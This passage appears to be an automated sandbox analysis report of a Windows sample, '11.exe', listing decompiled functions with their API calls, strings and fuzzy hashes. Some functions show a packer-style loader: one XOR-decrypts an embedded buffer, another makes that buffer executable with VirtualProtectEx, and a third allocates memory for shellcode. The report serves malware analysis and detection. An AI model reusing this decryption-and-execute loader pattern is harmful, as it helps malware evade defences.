				_t28 = __edx;
				_t24 = __ecx;
				_t23 = __ebx;
				E013BD810(__edx, 0x13d8088, 0xc);
				_t30 = 0;
				 *((intOrPtr*)(_t31 - 0x1c)) = 0;
				_t29 = E013C630E(__ebx, _t24, __edx);
				_t25 =  *0x13da900; // 0xfffffffe
				if(( *(_t29 + 0x350) & _t25) == 0 ||  *((intOrPtr*)(_t29 + 0x4c)) == 0) {
					L5:
					_t15 = E013C76C7(5);
					 *((intOrPtr*)(_t31 - 4)) = _t30;
					_t30 =  *((intOrPtr*)(_t29 + 0x48));
					 *((intOrPtr*)(_t31 - 0x1c)) = _t30;
					_t36 = _t30 -  *0x13da8a0; // 0x6a2058
					if(_t36 != 0) {
						if(_t30 != 0) {
							asm("lock xadd [esi], eax");
							if((_t15 | 0xffffffff) == 0 && _t30 != 0x13da680) {
								E013C59B2(_t30);
							}
						}
						_t20 =  *0x13da8a0; // 0x6a2058
						 *((intOrPtr*)(_t29 + 0x48)) = _t20;
						_t30 =  *0x13da8a0; // 0x6a2058
						 *((intOrPtr*)(_t31 - 0x1c)) = _t30;
						asm("lock inc dword [esi]");
					}
					 *((intOrPtr*)(_t31 - 4)) = 0xfffffffe;
					E013C85F8();
					goto L3;
				} else {
					_t30 =  *((intOrPtr*)(_t29 + 0x48));
					L3:
					if(_t30 != 0) {
						return E013BD856(_t28);
					}
					E013C5A3A(_t23, _t28, _t29, _t30);
					goto L5;
				}
			}

0x013c8567
0x013c8567
0x013c8567
0x013c856e
0x013c8573
0x013c8575
0x013c857d
0x013c857f
0x013c858b
0x013c859e
0x013c85a0
0x013c85a6
0x013c85a9
0x013c85ac
0x013c85af
0x013c85b5
0x013c85b9
0x013c85be
0x013c85c2
0x013c85cd
0x013c85d2
0x013c85c2
0x013c85d3
0x013c85d8
0x013c85db
0x013c85e1
0x013c85e4
0x013c85e4
0x013c85e7
0x013c85ee
0x00000000
0x013c8592
0x013c8592
0x013c8595
0x013c8597
0x013c8608
0x013c8608
0x013c8599
0x00000000
0x013c8599

APIs

Part of subcall function 013C630E: GetLastError.KERNEL32(?,013DCBE8,013C2664,013DCBE8,?,?,013C2203,?,?,013DCBE8), ref: 013C6312
Part of subcall function 013C630E: _free.LIBCMT ref: 013C6345
Part of subcall function 013C630E: SetLastError.KERNEL32(00000000,?,013DCBE8), ref: 013C6386
Part of subcall function 013C630E: _abort.LIBCMT ref: 013C638C

_abort.LIBCMT ref: 013C8599
_free.LIBCMT ref: 013C85CD

Strings

X j, xrefs: 013C85D3, 013C85DB

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorLast_abort_free
String ID: X j
API String ID: 289325740-2769095422
Opcode ID: 5561487fb3ad5670b2110f4f65a3163bccb59477a4cf0305c9e9a667098a3410
Instruction ID: 46342ce9d0a5001dcbc16e21af14f8a8e60b18868bd6721109a6a3310055ee42
Opcode Fuzzy Hash: 5561487fb3ad5670b2110f4f65a3163bccb59477a4cf0305c9e9a667098a3410
Instruction Fuzzy Hash: A9016171D02622DBCB31AF6D950125DBB74BF24F29F05414EDA5463684CB706E52CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 013A12E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E013A12E7(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, signed int _a28) {
				struct HWND__* _t20;
				struct HWND__* _t21;

				if(_a8 == 0x30) {
					E013ACF00(0x13dcbd4, _a4);
				} else {
					_t27 = _a8 - 0x110;
					if(_a8 == 0x110) {
						E013ACF27(0x13dcbd4, _t27, _a4, _a20, _a28 & 1);
						if((_a28 & 0x00000001) != 0) {
							_t20 =  *0x13dab38(_a4);
							if(_t20 != 0) {
								_t21 = GetDlgItem(_t20, 0x3021);
								if(_t21 != 0 && (_a28 & 0x00000008) != 0) {
									SetWindowTextW(_t21, 0x13d02e4);
								}
							}
						}
					}
				}
				return 0;
			}

0x013a12ee
0x013a1351
0x013a12f0
0x013a12f0
0x013a12f7
0x013a130d
0x013a1316
0x013a131b
0x013a1323
0x013a132b
0x013a1333
0x013a1341
0x013a1341
0x013a1333
0x013a1323
0x013a1316
0x013a12f7
0x013a1359

APIs

Part of subcall function 013ACF27: GetWindowRect.USER32(?,?), ref: 013ACF5E
Part of subcall function 013ACF27: GetClientRect.USER32(?,?), ref: 013ACF6A
Part of subcall function 013ACF27: GetWindowLongW.USER32(?,000000F0), ref: 013AD00B
Part of subcall function 013ACF27: GetWindowRect.USER32(?,?), ref: 013AD038
Part of subcall function 013ACF27: GetWindowTextW.USER32(?,?,00000400), ref: 013AD057

GetDlgItem.USER32(00000000,00003021), ref: 013A132B
SetWindowTextW.USER32(00000000,013D02E4), ref: 013A1341

Strings

0, xrefs: 013A12EA

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Window$Rect$Text$ClientItemLong
String ID: 0
API String ID: 660763476-4108050209
Opcode ID: c18359d21ff9b65e6af6d587b91604e3942e4346b5015495ee23191a92a2a095
Instruction ID: 9a8e3a6b9ea9a12d5d79472e08cae0fd2b36482ff15f788e2339f6c51025343f
Opcode Fuzzy Hash: c18359d21ff9b65e6af6d587b91604e3942e4346b5015495ee23191a92a2a095
Instruction Fuzzy Hash: 5BF0C2B154024CAFEF260E66D908AE93F5DEF14B5DF488408FE45954D4C774C095EB14

Uniqueness

Uniqueness Score: -1.00%

Function 013AFB19 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E013AFB19(void* __ecx, void* __ebp, void* _a4) {
				void* __esi;
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					return E013A6D8A(E013A6D8F(_t6, 0x13dcbe8, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff), 0x13dcbe8, 0x13dcbe8, 2);
				}
				return _t2;
			}

0x013afb19
0x013afb1f
0x013afb28
0x013afb31
0x00000000
0x013afb50
0x013afb51

APIs

WaitForSingleObject.KERNEL32(?,000000FF,013AFCF9,?,?,013AFD6E,?,?,?,?,?,013AFD58), ref: 013AFB1F
GetLastError.KERNEL32(?,?,013AFD6E,?,?,?,?,?,013AFD58), ref: 013AFB2B

Part of subcall function 013A6D8F: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 013A6DAD

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 013AFB34

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 3a8c50c30d165976c597baeebd553f5775300aa0ab468122cd72044085578aab
Instruction ID: b74858615929bbd6f1444ac1aaf907bfba2ed6c938e26d92571c493758e6369d
Opcode Fuzzy Hash: 3a8c50c30d165976c597baeebd553f5775300aa0ab468122cd72044085578aab
Instruction Fuzzy Hash: 0CD05B7250943177C515222C7C1AD7E391CDB51B79F684748F136651F4CA10489147D1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 11.exePID: 1944, Parent PID: 5028COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.8%
Total number of Nodes:	312
Total number of Limit Nodes:	12

Executed Functions

Function 00401D51 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00401D51(void* __eflags) {
				signed int _v8;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t14;
				signed int _t16;
				intOrPtr* _t19;
				intOrPtr _t20;
				void* _t21;
				void* _t37;
				void* _t38;
				void* _t41;
				WCHAR* _t43;
				void* _t53;
				void* _t61;
				void* _t66;
				void* _t67;
				signed int _t68;
				void* _t71;
				signed int _t73;
				signed int _t75;
				char** _t77;

				_t73 = _t75;
				_t14 =  *0x42c014; // 0xee6350c6
				_v8 = _t14 ^ _t73;
				_push(_t67);
				_t16 = E00404A97(_t67, __eflags, 0xc8);
				_t41 = _t61;
				_t68 = _t16;
				_v24 = _t68;
				_t3 = _t68 + 0xc8; // 0xc8
				_t37 = _t3;
				E00405C80(0, _t68, 0, 0xc8);
				_t77 = _t75 - 0x14 + 0xc;
				E0040433D(_t41, 0);
				asm("xorps xmm0, xmm0");
				asm("movlpd [ebp-0x10], xmm0");
				_t19 = E00404A97(_t68, 0, 0x14);
				 *_t19 = 0;
				 *((intOrPtr*)(_t19 + 4)) = 0;
				_t43 = _v16;
				 *((intOrPtr*)(_t19 + 8)) = 0;
				 *((intOrPtr*)(_t19 + 0xc)) = 0;
				 *((intOrPtr*)(_t19 + 0x10)) = 0;
				_t20 = _v20;
				do {
					_t20 = _t20 + 1;
					asm("adc ecx, edi");
				} while (_t20 == 0 && _t20 <= 0x5f5e0ff);
				_t21 = _t20 + 1;
				asm("adc ecx, edi");
				_v16 = _t43;
				if(_t21 != 0) {
					L5:
					_v16 = 0;
					E00401B16(_t37, 0x456c70, 0x77e, 0x456c70, 0x77e, _t84); // executed
					E00401B16(_t37, 0x42ca70, 0x2a200, 0x456c70, 0x77e, _t84);
					 *_t77 = L"kernel32.dll";
					 *0x4585e4 = GetModuleHandleW(_t43);
					if(E00401BD4() +  *0x4585e4 != 0) {
						VirtualProtectEx(0xffffffff, 0x456c70, 0x77e, 0x40,  &_v16); // executed
					}
					_push(0x42ca70);
					_push(0);
					_push( *0x4573f0);
					asm("loop 0xffffffff");
					_push(0);
					_push(0x456c70);
					return 0x456c92;
				} else {
					_t84 = _t21 - 0x5f5e0fd;
					if(_t21 < 0x5f5e0fd) {
						__eflags = _t68;
						if(_t68 != 0) {
							_t40 = _t37 - _t68 & 0xfffffffc;
							__eflags = _t37 - _t68 & 0xfffffffc;
							E00402455(_t37 - _t68 & 0xfffffffc, _t43, _t53, 0, _t68, _t68, _t40);
						}
						_pop(_t66);
						_pop(_t71);
						__eflags = _v8 ^ _t73;
						_pop(_t38);
						return E00404A89(0, _t38, _v8 ^ _t73, _t53, _t66, _t71);
					} else {
						goto L5;
					}
				}
			}

0x00401d52
0x00401d57
0x00401d5e
0x00401d62
0x00401d6a
0x00401d6f
0x00401d70
0x00401d75
0x00401d7a
0x00401d7a
0x00401d80
0x00401d85
0x00401d88
0x00401d8d
0x00401d92
0x00401d97
0x00401d9d
0x00401d9f
0x00401da2
0x00401da5
0x00401da8
0x00401dab
0x00401dae
0x00401db1
0x00401db1
0x00401db4
0x00401db4
0x00401dbf
0x00401dc2
0x00401dc4
0x00401dc7
0x00401dd4
0x00401dd4
0x00401de6
0x00401df5
0x00401dfa
0x00401e07
0x00401e17
0x00401e23
0x00401e23
0x00401e2c
0x00401e31
0x00401e3d
0x00401e50
0x00401e54
0x00401e56
0x00401e57
0x00401dc9
0x00401dc9
0x00401dce
0x00401e74
0x00401e76
0x00401e7a
0x00401e7a
0x00401e7f
0x00401e85
0x00401e8b
0x00401e8c
0x00401e8d
0x00401e8f
0x00401e96
0x00000000
0x00000000
0x00000000
0x00401dce

APIs

GetModuleHandleW.KERNEL32(?), ref: 00401E01
VirtualProtectEx.KERNELBASE(000000FF,00456C70,0000077E,00000040,?), ref: 00401E23

Strings

plE, xrefs: 00401E3E
plE, xrefs: 00401DDD
kernel32.dll, xrefs: 00401DFA

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: HandleModuleProtectVirtual
String ID: kernel32.dll$plE$plE
API String ID: 2905821283-3879087264
Opcode ID: 4ec3baf61fb76706cb9dfc14b81399c5619332e2f353dba5f8c3cb35d8f5198d
Instruction ID: 1d93e4ad1c47d5de8c89f5affbd7d4e22d4ce6575f6ffc19b2898965a3deba70
Opcode Fuzzy Hash: 4ec3baf61fb76706cb9dfc14b81399c5619332e2f353dba5f8c3cb35d8f5198d
Instruction Fuzzy Hash: A33126B2F002149BD704DB6ADC41AAFB7A9EFD5310F15817FF415E72E1EA789D008698

Uniqueness

Uniqueness Score: -1.00%

Function 0270003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0270024D

Strings

kernel32.dll, xrefs: 0270008F, 02700095
cess, xrefs: 0270018D

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 159d97415e89e6a23aa32ae589d305141a38be274b55013f098ee0aef5c9581a
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: F4526A74A01229DFDB64CF58C985BACBBB1BF09314F1480D9E54DAB391DB30AA99CF14

Uniqueness

Uniqueness Score: -1.00%

Function 02700005 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 220
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0270024D

Strings

kernel32.dll, xrefs: 0270008F, 02700095
cess, xrefs: 0270018D

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 9aa11c3f667533dedf3dd4adb637d4b23333bb22822e7f9355f3a1aed9404efe
Instruction ID: efbe3fb72acd3e06db9f35f5a74acafd3a00cef03bf237f61e7535cc020e4ad4
Opcode Fuzzy Hash: 9aa11c3f667533dedf3dd4adb637d4b23333bb22822e7f9355f3a1aed9404efe
Instruction Fuzzy Hash: 3AC1ABB5D01228EFDF61CFA8D884BEDBBB5BF08314F148099E548A7251DB319A98DF11

Uniqueness

Uniqueness Score: -1.00%

Function 004165BF Relevance: 4.6, APIs: 3, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004165BF(void* __ecx) {
				intOrPtr _v8;
				intOrPtr _t7;
				void* _t8;
				void* _t13;
				void* _t24;
				WCHAR* _t26;

				_t26 = GetEnvironmentStringsW();
				if(_t26 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t17 = E00416588(_t26) - _t26 >> 1;
					_t7 = E004150F1(0, 0, _t26, E00416588(_t26) - _t26 >> 1, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t8 = E0040FE5B(_t7); // executed
						_t24 = _t8;
						if(_t24 == 0 || E004150F1(0, 0, _t26, _t17, _t24, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t24;
							_t24 = 0;
						}
						E0040F644(_t24);
					}
				}
				if(_t26 != 0) {
					FreeEnvironmentStringsW(_t26);
				}
				return _t13;
			}

0x004165ce
0x004165d4
0x0041662f
0x0041662f
0x004165d6
0x004165e4
0x004165ea
0x004165f2
0x004165f7
0x00000000
0x004165f9
0x004165fa
0x004165ff
0x00416604
0x00416624
0x0041661e
0x0041661e
0x00416620
0x00416620
0x00416627
0x0041662c
0x004165f7
0x00416633
0x00416636
0x00416636
0x00416642

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004165C8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00416636

Part of subcall function 004150F1: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,00412EA2,?,00000000,00000000), ref: 0041519D

Part of subcall function 0040FE5B: RtlAllocateHeap.NTDLL(00000000,?,?,?,00405675,?,?,?,?,?,00401137,?,?), ref: 0040FE8D

_free.LIBCMT ref: 00416627

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: 92df15a053f42116033e1391d435a29b1a0b82de6782846141bf55f109766c04
Instruction ID: 6d0f7a5fe4999af5ba09f4d014ba6777828b0caa9fb53f36390e846563b4ecd5
Opcode Fuzzy Hash: 92df15a053f42116033e1391d435a29b1a0b82de6782846141bf55f109766c04
Instruction Fuzzy Hash: DF01D4B2A016117B673122BB5C89CFB7E6DCEC6F94716013FB904D2245EA68CC8281B8

Uniqueness

Uniqueness Score: -1.00%

Function 00403ADF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E00403ADF(void* __ecx, signed int* __edx, void* __esi, signed short _a4) {
				signed int _v8;
				char _v40;
				char _v42;
				signed short _v44;
				signed int _v48;
				char _v52;
				char _v56;
				void* __ebx;
				void* __edi;
				signed int _t33;
				signed int _t37;
				signed int _t40;
				signed int _t51;
				void* _t54;
				signed int _t55;
				signed int _t58;
				signed short _t60;
				signed int _t62;
				signed int* _t72;
				void* _t73;
				signed int _t77;
				signed int _t78;
				signed int _t79;
				signed int _t80;

				_t74 = __esi;
				_t72 = __edx;
				_t33 =  *0x42c014; // 0xee6350c6
				_v8 = _t33 ^ _t80;
				_t60 = _a4;
				_t73 = __ecx;
				if(0xffff != _t60) {
					_push(__esi);
					_t62 =  *( *(__ecx + 0x20));
					__eflags = _t62;
					if(_t62 == 0) {
						L5:
						__eflags =  *(_t73 + 0x4c);
						if( *(_t73 + 0x4c) == 0) {
							L9:
							_t37 = 0xffff;
						} else {
							E0040375D(_t73);
							_t40 =  *(_t73 + 0x38);
							_v48 = _t40;
							__eflags = _t40;
							if(__eflags != 0) {
								_v44 = _t60;
								 *0x41d130(_t73 + 0x40,  &_v44,  &_v42,  &_v56,  &_v40,  &_v8,  &_v52);
								_t51 =  *((intOrPtr*)( *((intOrPtr*)( *_t40 + 0x1c))))();
								__eflags = _t51;
								if(_t51 == 0) {
									L16:
									_t77 = _v52 -  &_v40;
									__eflags = _t77;
									if(_t77 == 0) {
										L18:
										 *((char*)(_t73 + 0x3e)) = 1;
										__eflags = _v56 -  &_v44;
										if(_v56 ==  &_v44) {
											goto L9;
										} else {
											goto L19;
										}
									} else {
										_t54 = E0040A9D0(_t60, _t73, _t77,  &_v40, 1, _t77,  *(_t73 + 0x4c));
										__eflags = _t77 - _t54;
										if(_t77 != _t54) {
											goto L9;
										} else {
											goto L18;
										}
									}
								} else {
									_t55 = _t51 - 1;
									__eflags = _t55;
									if(_t55 == 0) {
										goto L16;
									} else {
										__eflags = _t55;
										if(__eflags != 0) {
											goto L9;
										} else {
											_push( *(_t73 + 0x4c));
											_push(_v44);
											goto L8;
										}
									}
								}
								L20:
							} else {
								_push( *(_t73 + 0x4c));
								_push(_t60); // executed
								L8:
								_t58 = E00402FCA(__eflags); // executed
								__eflags = _t58;
								_t37 = _t60 & 0x0000ffff;
								if(_t58 == 0) {
									goto L9;
								}
							}
						}
					} else {
						_t72 =  *(__ecx + 0x30);
						_t78 =  *_t72;
						__eflags = _t62 - _t62 + _t78 * 2;
						if(_t62 >= _t62 + _t78 * 2) {
							goto L5;
						} else {
							 *_t72 = _t78 - 1;
							_t72 =  *(__ecx + 0x20);
							_t79 =  *_t72;
							 *_t72 = _t79 + 2;
							 *_t79 = _t60;
							L19:
							_t37 = _t60;
						}
					}
					_pop(_t74);
				} else {
					_t37 = 0;
				}
				return E00404A89(_t37, _t60, _v8 ^ _t80, _t72, _t73, _t74);
				goto L20;
			}

0x00403adf
0x00403adf
0x00403ae5
0x00403aec
0x00403af0
0x00403af9
0x00403afe
0x00403b07
0x00403b08
0x00403b0a
0x00403b0c
0x00403b31
0x00403b31
0x00403b35
0x00403b5a
0x00403b5a
0x00403b37
0x00403b39
0x00403b3e
0x00403b41
0x00403b44
0x00403b46
0x00403b70
0x00403b97
0x00403ba2
0x00403ba2
0x00403ba5
0x00403bba
0x00403bc0
0x00403bc0
0x00403bc2
0x00403bd7
0x00403bda
0x00403bde
0x00403be1
0x00000000
0x00000000
0x00000000
0x00000000
0x00403bc4
0x00403bcb
0x00403bd3
0x00403bd5
0x00000000
0x00000000
0x00000000
0x00000000
0x00403bd5
0x00403ba7
0x00403ba7
0x00403ba7
0x00403baa
0x00000000
0x00403bac
0x00403bad
0x00403bb0
0x00000000
0x00403bb2
0x00403bb2
0x00403bb5
0x00000000
0x00403bb5
0x00403bb0
0x00403baa
0x00000000
0x00403b48
0x00403b48
0x00403b4b
0x00403b4c
0x00403b4c
0x00403b52
0x00403b54
0x00403b58
0x00000000
0x00000000
0x00403b58
0x00403b46
0x00403b0e
0x00403b0e
0x00403b11
0x00403b16
0x00403b18
0x00000000
0x00403b1a
0x00403b1d
0x00403b1f
0x00403b22
0x00403b27
0x00403b29
0x00403be7
0x00403be7
0x00403be7
0x00403b18
0x00403b5f
0x00403b00
0x00403b00
0x00403b00
0x00403b6d
0x00000000

APIs

_Fputc.LIBCPMT ref: 00403B4C

Strings

Z7@, xrefs: 00403B97

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: Fputc
String ID: Z7@
API String ID: 3078413507-2024903632
Opcode ID: 605d984099a1dbaf34042936a414c2e79ab94b342e81f715b331f9132bd54771
Instruction ID: 75f16de8818e6da07e63de6802d9c40adff1454d435b720ab0f78cfcbd9722a1
Opcode Fuzzy Hash: 605d984099a1dbaf34042936a414c2e79ab94b342e81f715b331f9132bd54771
Instruction Fuzzy Hash: 53315C7190011AABCB14DFA9C4509EEBBBDFF08319B14017AE501B7681EB35FA45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401B16 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E00401B16(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t35;
				signed int _t37;
				void* _t43;
				signed int _t46;
				signed int _t48;
				signed char _t60;
				intOrPtr _t63;
				void* _t67;
				void* _t68;

				_t68 = __eflags;
				_push(0x40);
				E00404E1A(0x41c3a3, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t67 - 0x48)) = __edx;
				 *((intOrPtr*)(_t67 - 0x44)) = __ecx;
				_t46 = 0;
				 *(_t67 - 0x40) = 0;
				 *((intOrPtr*)(_t67 - 0x30)) = 0;
				 *(_t67 - 0x20) = 0;
				 *((intOrPtr*)(_t67 - 0x1c)) = 0xf;
				E00401F01(_t67 - 0x30, "Hello, world!", 0xd);
				_t35 = E00408FE2(_t67 - 0x30, _t68);
				asm("cdq");
				_t37 = E00408FE2(_t67 - 0x30, _t68);
				asm("cdq");
				_t66 = _t35 %  *(_t67 - 0x20) - _t37 %  *(_t67 - 0x20);
				E00408FD3(_t37 %  *(_t67 - 0x20), _t35 %  *(_t67 - 0x20) - _t37 %  *(_t67 - 0x20));
				 *(_t67 - 4) = 0;
				_t63 =  *((intOrPtr*)(_t67 - 0x44));
				while(1) {
					 *(_t67 - 0x4c) = _t46;
					_t70 = _t46 -  *((intOrPtr*)(_t67 - 0x48));
					if(_t46 >=  *((intOrPtr*)(_t67 - 0x48))) {
						break;
					}
					_t60 =  *((intOrPtr*)(_t63 + _t46));
					_t48 = _t60 & 0x000000ff;
					_t66 =  *(_t67 - 0x40);
					 *((char*)(_t63 + _t66)) = ( *((_t46 & 0x00000003) + 0x4290a4) ^ _t60) + _t48;
					_t43 = E00402070(_t48, _t63, _t66, _t70); // executed
					E004022FE( *((_t46 & 0x00000003) + 0x4290a4) ^ _t60, _t43);
					 *((intOrPtr*)(_t63 + _t66)) =  *((intOrPtr*)(_t63 + _t66)) - _t48;
					_t46 = _t66 + 1;
					 *(_t67 - 0x40) = _t46;
				}
				_t29 = _t67 - 4;
				 *_t29 =  *(_t67 - 4) | 0xffffffff;
				__eflags =  *_t29;
				E00401EBC(_t67 - 0x30);
				return E00404D6C(_t46, _t63, _t66);
			}

0x00401b16
0x00401b16
0x00401b1d
0x00401b22
0x00401b25
0x00401b28
0x00401b2a
0x00401b2d
0x00401b30
0x00401b33
0x00401b44
0x00401b4c
0x00401b51
0x00401b56
0x00401b5b
0x00401b5e
0x00401b61
0x00401b67
0x00401b6a
0x00401b6d
0x00401b6d
0x00401b70
0x00401b73
0x00000000
0x00000000
0x00401b75
0x00401b83
0x00401b89
0x00401b8c
0x00401b8f
0x00401b95
0x00401b9b
0x00401ba0
0x00401ba1
0x00401ba1
0x00401bbd
0x00401bbd
0x00401bbd
0x00401bc4
0x00401bce

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00401B1D

Part of subcall function 00402070: __EH_prolog3_catch.LIBCMT ref: 00402077

Strings

Hello, world!, xrefs: 00401B3C

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchH_prolog3_catch_
String ID: Hello, world!
API String ID: 2571662373-3957769958
Opcode ID: c03817bd8e27672bcbc1b99c6862d506bf2d949004d49b87f5a8a56fb4ffe851
Instruction ID: 7b3ca872e3e1c908299023026c83399045d4b3289a042d77b386878fe6eb0f6d
Opcode Fuzzy Hash: c03817bd8e27672bcbc1b99c6862d506bf2d949004d49b87f5a8a56fb4ffe851
Instruction Fuzzy Hash: D5118F75C002299BCB14DFA6C98199CFBB1BF44314F64427FE554772D1CB386906CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF45 Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

